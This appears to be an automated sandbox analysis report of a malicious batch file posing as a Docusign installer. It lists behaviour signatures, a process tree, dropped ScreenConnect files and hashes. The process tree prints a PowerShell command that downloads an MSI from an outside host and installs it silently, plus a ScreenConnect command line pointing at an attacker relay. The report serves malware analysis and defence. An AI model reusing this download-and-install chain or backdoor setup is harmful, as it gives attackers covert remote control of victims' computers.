Analysis

  • max time kernel
    298s
  • max time network
    261s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/08/2026, 01:02

General

  • Target
    Docusign_Installer.bat
  • Size 591B
  • Sample260827-bdsfpsyckh
  • SHA256 7de5366a363476097b5cffe31a233d177eeca0b1f2e8bc7d6612e3e981031ade
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://dsyscod.com/Jeff.msi

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Installer.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:6080
    • C:\Windows\system32\cacls.exe
      "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
      2⤵
        PID:2216
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://dsyscod.com/Jeff.msi', 'C:\Users\Admin\AppData\Local\Temp\ScreenConnect.msi')"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5804
      • C:\Windows\system32\msiexec.exe
        msiexec /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.msi" /quiet /norestart
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5856
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4576
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 307D16A9FD0C012A401192EE10A903EA
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5784
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI52E9.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240735203 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:4812
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding BAE1D019DE76E94CFB17694109B7DC1D E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4508
    • C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=aidsp.top&p=8041&s=0227358f-a88e-4cf5-a710-86a4528fc2ce&k=BgIAAACkAABSU0ExAAgAAAEAAQAFBpq2a7cmeI0ZItWIUsqmKOtFKqz6s8823E8eKCERYc9FSv5S44o%2bCFexydCSAeBITgDpsM0eoAoh9JGlq7usMfdX3r5G4Hoy1VLyoB5GFC5aMk6R2iiSdfAA4haPVSa0ZwaYtgndk56%2f7b2sdKeHdqr0JNQK5d5R7WD8sB5IZwqBsckvVMN4L8aLDa3jisPENKnyYPvs2n9J4NN6PM2Y%2brWhfI%2b3LUlrUWQ9l9yR2QlA%2b6uFznXy4ETy8Izpj9%2b1Q4tsbPnp3aPRtcdArmFhOCLDTS%2fG5ouAmxNE%2f9wTOAvqr7sFBG8TMom3zacpGeYa947sZhCfaWPQBankSSal"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1248
      • C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.WindowsClient.exe" "RunRole" "9884bdf4-e4fa-4192-b125-69375ee5782c" "User"
        2⤵
        • Executes dropped EXE
        PID:5588
      • C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.WindowsClient.exe" "RunRole" "8ecc29d2-0e71-4911-8e6d-0a4c57916799" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:992

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e595127.rbs

          • Path C:\Config.Msi\e595127.rbs
          • Size 214KB
          • SHA256 8667461bd4869bdef3d557688e755266360d490f01ed20977b44598bdc00e407
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\Client.Override.resources
          • Size 39KB
          • SHA256 f20b86fe29845115280b701558239b38a2648636f980e2a14e5c4cc79dbc8b32
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\app.config
          • Size 2KB
          • SHA256 0f77c9524118c3222f2530ebb7550bf1bdfbc39fc98cfdb43d6b831a8343d879
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (5e95d2b62d50f66f)\system.config
          • Size 931B
          • SHA256 97e6dbd4527186ed8aa9070f8147e6d648ee41e5ff08189fe442498d2068d91b
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.msi
          • Size 12.9MB
          • SHA256 7f189c50c9c8735f0d60f0a438014754b51fecaf98e75205052d9f1d4a26287c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI52E9.tmp

          • Path C:\Windows\Installer\MSI52E9.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI52E9.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI52E9.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI52E9.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI52E9.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI66FF.tmp

          • Path C:\Windows\Installer\MSI66FF.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1248-108-0x0000000003B00000-0x0000000003B50000-memory.dmp

          memory/1248-90-0x0000000001280000-0x0000000001298000-memory.dmp

          memory/1248-117-0x0000000003E50000-0x0000000003EE2000-memory.dmp

          memory/1248-121-0x0000000004040000-0x0000000004115000-memory.dmp

          memory/1248-119-0x0000000003B90000-0x0000000003BD1000-memory.dmp

          memory/1248-115-0x0000000003B50000-0x0000000003B86000-memory.dmp

          memory/4812-38-0x0000000003420000-0x000000000344E000-memory.dmp

          memory/4812-50-0x0000000005770000-0x000000000591C000-memory.dmp

          memory/4812-42-0x0000000003450000-0x000000000345A000-memory.dmp

          memory/4812-46-0x0000000005530000-0x00000000055BC000-memory.dmp

          memory/4812-51-0x0000000005EE0000-0x000000000649A000-memory.dmp

          memory/5588-130-0x00000000015D0000-0x0000000001606000-memory.dmp

          memory/5588-136-0x00000000014A0000-0x00000000014B8000-memory.dmp

          memory/5588-137-0x0000000001630000-0x0000000001648000-memory.dmp

          memory/5588-135-0x000000001C350000-0x000000001C4D8000-memory.dmp

          memory/5588-131-0x0000000002FD0000-0x000000000305C000-memory.dmp

          memory/5588-134-0x000000001C010000-0x000000001C1BC000-memory.dmp

          memory/5588-129-0x0000000000CB0000-0x0000000000D48000-memory.dmp

          memory/5804-0-0x00007FFCAE0EF000-0x00007FFCAE0F0000-memory.dmp

          memory/5804-15-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

          memory/5804-2-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

          memory/5804-1-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

          memory/5804-11-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

          memory/5804-12-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

          memory/5804-5-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

          memory/5804-6-0x00000181A3370000-0x00000181A3392000-memory.dmp

          memory/5804-19-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

          memory/5804-9-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

          memory/5804-7-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

          memory/5804-8-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

          memory/5804-10-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

          memory/5804-139-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp